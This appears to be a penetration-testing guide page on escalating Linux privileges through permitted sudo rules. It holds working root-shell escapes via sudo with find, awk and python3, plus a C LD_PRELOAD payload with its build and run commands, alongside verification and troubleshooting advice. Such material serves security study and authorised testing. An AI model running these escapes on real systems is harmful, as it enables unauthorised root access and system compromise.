Use an allowed sudo operation to cross a privilege boundary
Needs: Exact executable/run-as/argument rule permits a useful primitive; password tags, environment and policy do not invalidate it
Shell commands
# Baseline
sudo -n -l 2>&1
sudo -l
sudo --version
Shell commands
Record the run-as identity, password tag, executable path, argument constraints/wildcards and
SETENV/NOSETENV/env_keep/secure_path/NOEXEC. Match the exact mode under GTFOBins.
# Baseline
sudo /usr/bin/find . -exec /bin/sh \; -quit
sudo /usr/bin/awk 'BEGIN {system("/bin/sh")}'
sudo /usr/bin/python3 -c 'import os; os.setuid(0); os.execl("/bin/sh","sh","-p")'
Use an example only when the entire rule permits it. Restricted arguments, another path/build, privilege dropping,
NOEXEC, a non-root run-as user or MAC policy can invalidate the escape.
Preserved LD_PRELOAD variant
Requires an explicitly allowed/preserved variable and a dynamically linked allowed program.
# Preserved LD_PRELOAD variant
sudo -l | grep -E 'SETENV|env_keep.*LD_PRELOAD'
Preserved LD_PRELOAD variant
// Preserved LD_PRELOAD variant
#include <stdlib.h>
#include <unistd.h>
void _init(void) {
unsetenv("LD_PRELOAD");
setgid(0); setuid(0);
system("/bin/sh");
}
Preserved LD_PRELOAD variant
# Preserved LD_PRELOAD variant
gcc -fPIC -shared -nostartfiles -o /tmp/preload.so preload.c
sudo LD_PRELOAD=/tmp/preload.so /ALLOWED/PROGRAM
Verify → Verify the executed run-as identity and effective UID; preserve the matching rule and successful operation.
If it fails → Restricted arguments, another run-as user, privilege dropping, NOEXEC or MAC policy can block the candidate. Evaluate another permitted primitive. More detail ↓
Explanation & examples
Use an allowed sudo operation to cross a privilege boundary
- USE WHEN
- sudo -l grants an operation under a more useful identity
- STARTING ACCESS
- A verified Linux foothold with a known effective UID, groups and filesystem context
- RESULT
- A verified privileged command, file operation or identity transition
Recognize the clue
Run the exact sudo policy query from the current user and read run-as identity, executable, arguments and tags.
sudo -n -l 2>&1
sudo -l
User USER may run:
(root) NOPASSWD: /usr/bin/findMeans: The rule permits that exact program as root; its documented privileged operation becomes a candidate.
Confirm: Read sudo -l: match the run-as user, exact executable and allowed arguments. Check NOPASSWD/password access and NOEXEC/environment restrictions; choose only the GTFOBins operation that the full rule permits, then verify id.
- After validation
- The allowed invocation exposes a useful operation and its effect is verified: choose that sudo method.
- Ruled out in this context
- Only a fixed harmless argument pattern is permitted: reject the unrestricted escape assumption.
- Still inconclusive
- A password-required response does not show the rule; obtain the legitimate credential/context before deciding.
Troubleshooting: Restricted arguments, another run-as user, privilege dropping, NOEXEC or MAC policy can block the candidate. Evaluate another permitted primitive.
Record the run-as identity, password tag, executable path, argument constraints/wildcards and SETENV/NOSETENV/env_keep/secure_path/NOEXEC. Match the exact mode under GTFOBins.
Use an example only when the entire rule permits it. Restricted arguments, another path/build, privilege dropping,
NOEXEC, a non-root run-as user or MAC policy can invalidate the escape.
Preserved LD_PRELOAD variant
Requires an explicitly allowed/preserved variable and a dynamically linked allowed program.
Static linking, secure-loader behavior, missing environment permission or MAC denial disproves this route.
Why it works
Sudo grants a configured operation, not arbitrary root by default. Interpreter escapes, editors, file writers and helpers are different useful primitives whose exact invocation must fit the rule.
Worked example · hypothetical
Observation: the rule permits a specific interpreter as root without restricted arguments. Test: compare its documented privileged mode with the full rule and execute a minimal identity proof. Illustrative output: effective UID 0. Interpretation: verify host context and re-enumerate privileged files.
New identity, privilege, host or route? Re-enumerate → All topic tasks →